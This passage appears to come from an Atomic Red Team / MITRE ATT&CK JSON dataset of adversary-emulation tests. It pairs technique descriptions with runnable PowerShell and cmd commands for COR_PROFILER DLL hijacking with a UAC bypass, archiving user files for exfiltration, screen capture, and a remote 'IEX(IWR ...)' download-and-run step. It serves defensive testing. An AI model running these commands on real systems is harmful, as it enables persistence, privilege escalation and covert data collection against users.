- "description": "Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).\nThe unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.\nAdditionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.\nIf the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,\nthe notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unmanaged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "Write-Host \"Creating registry keys in HKCU:Software\\Classes\\CLSID\\#{clsid_guid}\" -ForegroundColor Cyan\nNew-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\\InprocServer32\" -Value #{file_name} -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\nWrite-Host \"executing eventvwr.msc\" -ForegroundColor Cyan\nSTART MMC.EXE EVENTVWR.MSC\n",
- "cleanup_command": "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n",
- "name": "powershell"
- }
- },
- {
- "name": "System Scope COR_PROFILER",
- "auto_generated_guid": "f373b482-48c8-4ce4-85ed-d40c8b3f7310",
- "description": "Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.\nThe unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity\nlevel of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will\nstill execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unmanaged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "Write-Host \"Creating system environment variables\" -ForegroundColor Cyan\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -PropertyType String -Value \"1\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -PropertyType String -Value \"#{clsid_guid}\" -Force | Out-Null\nNew-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -PropertyType String -Value #{file_name} -Force | Out-Null\n",
- "cleanup_command": "Remove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Registry-free process scope COR_PROFILER",
- "auto_generated_guid": "79d57242-bbef-41db-b301-9d01d9f6e817",
- "description": "Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.\n\nReference: https://redcanary.com/blog/cor_profiler-for-persistence/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_name": {
- "description": "unamanged profiler DLL",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.012\\bin\\T1574.012x64.dll"
- },
- "clsid_guid": {
- "description": "custom clsid guid",
- "type": "string",
- "default": "{09108e71-974c-4010-89cb-acf471ae9e2c}"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "#{file_name} must be present\n",
- "prereq_command": "if (Test-Path #{file_name}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll\" -OutFile \"#{file_name}\"\n"
- }
- ],
- "executor": {
- "command": "$env:COR_ENABLE_PROFILING = 1\n$env:COR_PROFILER = '#{clsid_guid}'\n$env:COR_PROFILER_PATH = '#{file_name}'\nPOWERSHELL -c 'Start-Sleep 1'\n",
- "cleanup_command": "$env:COR_ENABLE_PROFILING = 0\n$env:COR_PROFILER = ''\n$env:COR_PROFILER_PATH = ''\n",
- "name": "powershell"
- }
- }
- ]
- }
- }
- },
- {
- "category": "collection",
- "data": {
- "T1560.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mayan Arora aka Mayan Mohan"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
- "created": "2020-02-20T21:01:25.428Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1560.001",
- "url": "https://attack.mitre.org/techniques/T1560/001"
- },
- {
- "source_name": "WinRAR Homepage",
- "url": "https://www.rarlab.com/",
- "description": "A. Roshal. (2020). RARLAB. Retrieved February 20, 2020."
- },
- {
- "source_name": "WinZip Homepage",
- "url": "https://www.winzip.com/win/en/",
- "description": "Corel Corporation. (2020). WinZip. Retrieved February 20, 2020."
- },
- {
- "source_name": "7zip Homepage",
- "url": "https://www.7-zip.org/",
- "description": "I. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020."
- },
- {
- "source_name": "diantz.exe_lolbas",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Diantz/",
- "description": "Living Off The Land Binaries, Scripts and Libraries (LOLBAS). (n.d.). Diantz.exe. Retrieved October 25, 2021."
- },
- {
- "source_name": "Wikipedia File Header Signatures",
- "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
- "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar
on Linux and macOS or zip
on Windows systems. On Windows, diantz
or makecab
may be used to package collected files into a cabinet (.cab) file. diantz
may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy
on Windows can copy files and directories with a variety of options.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)",
- "modified": "2022-04-20T17:17:48.612Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Archive Collected Data: Archive via Utility",
- "x_mitre_detection": "Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1560.001"
- },
- "atomic_tests": [
- {
- "name": "Compress Data for Exfiltration With Rar",
- "auto_generated_guid": "02ea31cb-3b4c-4a2d-9bf1-e4e70ebcf5d0",
- "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.\nWhen the test completes you should find the txt files from the %USERPROFILE% directory compressed in a file called T1560.001-data.rar in the %USERPROFILE% directory \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "input_path": {
- "description": "Path that should be compressed into our output file",
- "type": "path",
- "default": "%USERPROFILE%"
- },
- "file_extension": {
- "description": "Extension of files to compress",
- "type": "string",
- "default": ".txt"
- },
- "output_file": {
- "description": "Path where resulting compressed data should be placed",
- "type": "path",
- "default": "%USERPROFILE%\\T1560.001-data.rar"
- },
- "rar_installer": {
- "description": "Winrar installer",
- "type": "path",
- "default": "%TEMP%\\winrar.exe"
- },
- "rar_exe": {
- "description": "The RAR executable from Winrar",
- "type": "path",
- "default": "%programfiles%/WinRAR/Rar.exe"
- }
- },
- "dependencies": [
- {
- "description": "Rar tool must be installed at specified location (#{rar_exe})\n",
- "prereq_command": "if not exist \"#{rar_exe}\" (exit /b 1)\n",
- "get_prereq_command": "echo Downloading Winrar installer\nbitsadmin /transfer myDownloadJob /download /priority normal \"https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe\" #{rar_installer}\n#{rar_installer} /S\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "\"#{rar_exe}\" a -r #{output_file} #{input_path}\\*#{file_extension}\n",
- "cleanup_command": "del /f /q /s #{output_file} >nul 2>&1\n"
- }
- },
- {
- "name": "Compress Data and lock with password for Exfiltration with winrar",
- "auto_generated_guid": "8dd61a55-44c6-43cc-af0c-8bdda276860c",
- "description": "Note: Requires winrar installation\nrar a -p\"blue\" hello.rar (VARIANT)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "rar_installer": {
- "description": "Winrar installer",
- "type": "path",
- "default": "%TEMP%\\winrar.exe"
- },
- "rar_exe": {
- "description": "The RAR executable from Winrar",
- "type": "path",
- "default": "%programfiles%/WinRAR/Rar.exe"
- }
- },
- "dependencies": [
- {
- "description": "Rar tool must be installed at specified location (#{rar_exe})\n",
- "prereq_command": "if not exist \"#{rar_exe}\" (exit /b 1)\n",
- "get_prereq_command": "echo Downloading Winrar installer\nbitsadmin /transfer myDownloadJob /download /priority normal \"https://www.win-rar.com/fileadmin/winrar-versions/winrar/th/winrar-x64-580.exe\" #{rar_installer}\n#{rar_installer} /S\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "mkdir .\\tmp\\victim-files\ncd .\\tmp\\victim-files\necho \"This file will be encrypted\" > .\\encrypted_file.txt\n\"#{rar_exe}\" a -hp\"blue\" hello.rar\ndir\n"
- }
- },
- {
- "name": "Compress Data and lock with password for Exfiltration with winzip",
- "auto_generated_guid": "01df0353-d531-408d-a0c5-3161bf822134",
- "description": "Note: Requires winzip installation\nwzzip sample.zip -s\"blueblue\" *.txt (VARIANT)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "winzip_exe": {
- "description": "Path to installed Winzip executable",
- "type": "path",
- "default": "%ProgramFiles%\\WinZip\\winzip64.exe"
- },
- "winzip_url": {
- "description": "Path to download Windows Credential Editor zip file",
- "type": "url",
- "default": "https://download.winzip.com/gl/nkln/winzip24-home.exe"
- },
- "winzip_hash": {
- "description": "File hash of the Windows Credential Editor zip file",
- "type": "string",
- "default": "B59DB592B924E963C21DA8709417AC0504F6158CFCB12FE5536F4A0E0D57D7FB"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Winzip must be installed\n",
- "prereq_command": "cmd /c 'if not exist \"#{winzip_exe}\" (echo 1) else (echo 0)'\n",
- "get_prereq_command": "IEX(IWR \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1\" -UseBasicParsing)\nif(Invoke-WebRequestVerifyHash \"#{winzip_url}\" \"$env:Temp\\winzip.exe\" #{winzip_hash}){\n Write-Host Follow the installation prompts to continue\n cmd /c \"$env:Temp\\winzip.exe\"\n}\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "path=%path%;\"C:\\Program Files (x86)\\winzip\"\nmkdir .\\tmp\\victim-files\ncd .\\tmp\\victim-files\necho \"This file will be encrypted\" > .\\encrypted_file.txt\n\"#{winzip_exe}\" -min -a -s\"hello\" archive.zip *\ndir\n"
- }
- },
- {
- "name": "Compress Data and lock with password for Exfiltration with 7zip",
- "auto_generated_guid": "d1334303-59cb-4a03-8313-b3e24d02c198",
- "description": "Note: Requires 7zip installation\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "7zip_installer": {
- "description": "7zip installer",
- "type": "path",
- "default": "%TEMP%\\7zip.exe"
- },
- "7zip_exe": {
- "description": "Path to installed 7zip executable",
- "type": "path",
- "default": "%ProgramFiles%\\7-zip\\7z.exe"
- }
- },
- "dependencies": [
- {
- "description": "7zip tool must be installed at specified location (#{7zip_exe})\n",
- "prereq_command": "if not exist \"#{7zip_exe}\" (exit /b 1)\n",
- "get_prereq_command": "echo Downloading 7-zip installer\nbitsadmin /transfer myDownloadJob /download /priority normal \"https://www.7-zip.org/a/7z2002-x64.exe\" #{7zip_installer}\n#{7zip_installer} /S\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "mkdir $PathToAtomicsFolder\\T1560.001\\victim-files\ncd $PathToAtomicsFolder\\T1560.001\\victim-files\necho \"This file will be encrypted\" > .\\encrypted_file.txt\n\"#{7zip_exe}\" u archive.7z *txt -pblue\ndir\n"
- }
- }
- ]
- },
- "T1113": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:25.060Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1113",
- "url": "https://attack.mitre.org/techniques/T1113"
- },
- {
- "external_id": "CAPEC-648",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/648.html"
- },
- {
- "source_name": "CopyFromScreen .NET",
- "url": "https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8",
- "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020."
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
- "source_name": "Antiquated Mac Malware"
- }
- ],
- "modified": "2020-03-24T19:56:37.627Z",
- "name": "Screen Capture",
- "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen
, xwd
, or screencapture
.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "identifier": "T1113"
- },
- "atomic_tests": [
- {
- "name": "Windows Screencapture",
- "auto_generated_guid": "3c898f62-626c-47d5-aad2-6de873d69153",
- "description": "Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Output file path",
- "type": "path",
- "default": "c:\\temp\\T1113_desktop.zip"
- },
- "recording_time": {
- "description": "Time to take screenshots",
- "type": "string",
- "default": 5
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\nAdd-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\ncmd /c \"timeout #{recording_time} > NULL && psr.exe /stop\"\n",
- "cleanup_command": "rm #{output_file} -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Windows Screen Capture (CopyFromScreen)",
- "auto_generated_guid": "e9313014-985a-48ef-80d9-cde604ffc187",
- "description": "Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.\n\n[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Path where captured results will be placed",
- "type": "path",
- "default": "$env:TEMP\\T1113.png"
- }
- },
- "executor": {
- "command": "Add-Type -AssemblyName System.Windows.Forms\n$screen = [Windows.Forms.SystemInformation]::VirtualScreen\n$bitmap = New-Object Drawing.Bitmap $screen.Width, $screen.Height\n$graphic = [Drawing.Graphics]::FromImage($bitmap)\n$graphic.CopyFromScreen($screen.Left, $screen.Top, 0, 0, $bitmap.Size)\n$bitmap.Save(\"#{output_file}\")\n",
- "cleanup_command": "Remove-Item #{output_file} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1557": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mayuresh Dani, Qualys",
- "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project",
- "NEC"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
- "created": "2020-02-11T19:07:12.114Z",
- "x_mitre_version": "2.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1557",
- "url": "https://attack.mitre.org/techniques/T1557"
- },
- {
- "source_name": "dns_changer_trojans",
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats",
- "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021."
- },
- {
- "source_name": "taxonomy_downgrade_att_tls",
- "url": "https://arxiv.org/abs/1809.05681",
- "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021."
- },
- {
- "source_name": "ad_blocker_with_miner",
- "url": "https://securelist.com/ad-blocker-with-miner-included/101105/",
- "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021."
- },
- {
- "source_name": "mitm_tls_downgrade_att",
- "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/",
- "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021."
- },
- {
- "source_name": "Rapid7 MiTM Basics",
- "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/",
- "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020."
- },
- {
- "source_name": "tlseminar_downgrade_att",
- "url": "https://tlseminar.github.io/downgrade-attacks/",
- "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021."
- },
- {
- "source_name": "ttint_rat",
- "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/",
- "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/94.html",
- "source_name": "capec",
- "external_id": "CAPEC-94"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
- "modified": "2022-04-19T18:22:28.290Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Adversary-in-the-Middle",
- "x_mitre_detection": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Service: Service Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Application Log: Application Log Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1056.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux",
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
- "type": "attack-pattern",
- "created": "2020-02-11T18:58:11.791Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1056.001",
- "url": "https://attack.mitre.org/techniques/T1056/001"
- },
- {
- "external_id": "CAPEC-568",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/568.html"
- },
- {
- "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf",
- "description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
- "source_name": "Adventures of a Keystroke"
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-21T01:30:56.227Z",
- "name": "Input Capture: Keylogging",
- "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Driver: Driver Load",
- "Windows Registry: Windows Registry Key Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "root",
- "SYSTEM",
- "User"
- ],
- "identifier": "T1056.001"
- },
- "atomic_tests": [
- {
- "name": "Input Capture",
- "auto_generated_guid": "d9b633ca-8efb-45e6-b838-70f595c6ae26",
- "description": "Utilize PowerShell and external resource to capture keystrokes\n[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)\nProvided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)\n\nUpon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "filepath": {
- "description": "Name of the local file, include path.",
- "type": "path",
- "default": "$env:TEMP\\key.log"
- }
- },
- "dependencies": [
- {
- "description": "Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\n",
